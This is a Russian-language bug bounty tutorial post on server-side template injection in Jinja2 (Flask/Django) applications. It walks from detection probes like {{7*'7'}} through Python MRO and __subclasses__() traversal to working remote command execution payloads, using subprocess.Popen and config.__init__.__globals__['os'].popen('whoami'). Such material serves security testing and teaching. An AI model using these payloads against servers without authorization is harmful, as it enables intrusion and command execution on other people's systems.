#42 Bug Bounty v.2 — Server Side Template Injection (SSTI). Python — Jinja2
Здравствуйте, дорогие друзья.
Jinja2 — это движок шаблонов на python, который часто используется в приложениях Flask и Django. Пример уязвимого приложения flask приведен на рисунке ниже:

При тестировании server side template injection(SSTI) в приложении Jinja2 я обычно использую следующие полезные нагрузки:
● {{7*7}}
○ 49
● {{7*’7’}}
○ 7777777

На изображении выше мы видим номер “7777777”, поэтому вы можете предположить, что приложение уязвимо и использует движок шаблонов Jinja2 или tornado.
Чтобы полностью понять, как использовать эту уязвимость, вам сначала нужно понять метод порядка разрешения (MRO). MRO — это порядок, в котором Python ищет метод в иерархии классов, и вы можете использовать функцию MRO для составления списка этих классов.
● ‘.__class.__mro__

Итак, здесь он сначала выполнит поиск метода в классе string, и если его там нет, то выполнит поиск в корневом классе object. Для этой атаки нас интересует только корневой класс object, поскольку мы можем использовать его, чтобы получить доступ ко всем другим классам, используемым приложением. Чтобы получить корневой
объект, перейдите ко второму индексу в массиве, как показано ниже:
● ‘.__class.__mro__[1]
![‘.__class.__mro__[1]](https://timcore.ru/wp-content/uploads/2024/10/208.jpg)
Обратите внимание, что вы также можете использовать метод __base__ для получения этого объекта в пустом массиве, как показано в приведенной ниже команде:
● [].__class__.__base__
![[].__class__.__base__](https://timcore.ru/wp-content/uploads/2024/10/209.jpg)
Метод __subclasses__() можно использовать для получения списка всех подклассов класса. С его помощью мы можем получить дескриптор каждого класса, используемого приложением. В зависимости от результатов вы сможете выполнять команды терминала, читать файлы и многое другое.
●{{[].__class__.__mro__[1].__subclasses__()}}
![{{[].__class__.__mro__[1].__subclasses__()}}](https://timcore.ru/wp-content/uploads/2024/10/210.jpg)
Как вы можете видеть выше, отображены все подклассы корневого объекта. Далее вы хотите найти что-нибудь интересное. У нас есть доступ к подпроцессу. Popen класс, злоумышленник может использовать этот класс для выполнения команд на сервере, как показано ниже:
● {{[].__class__.__mro__[1].__subclasses__()[-3](‘whoami’,shell=True,stdout=-1).co mmunicate()[0] }}
![{{[].__class__.__mro__[1].__subclasses__()[-3]('whoami',shell=True,stdout=-1).co mmunicate()[0] }}](https://timcore.ru/wp-content/uploads/2024/10/211.jpg)
Если вы знакомы с python и знаете метод popen, то можете сказать, что здесь нет ничего особенного, мы используем обычные функциональные возможности python для выполнения системной команды. Обратите внимание, что вы также можете использовать следующую команду для выполнения кода, если приведенная выше команда не работает:
● {{config.__class__.__init__.__globals__[‘os’].popen(‘whoami’).read()}}
![{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}](https://timcore.ru/wp-content/uploads/2024/10/212.jpg)
Если вы обнаружите внедрение шаблонов на стороне сервера в движке шаблонов Jinja2, серьезность обнаружения зависит от того, к каким классам python у вас есть доступ. Если у вас нет доступа к каким-либо системным командным классам, выполнение кода может быть невозможным (не всегда). Если у вас есть доступ к классу file, вы, возможно, сможете читать / записывать файлы в систему. Убедитесь, что правильно перечислены все классы, к которым имеет доступ корневой объект, чтобы вы могли понять, что вы можете, а что нет.
На этом все. Всем хорошего дня!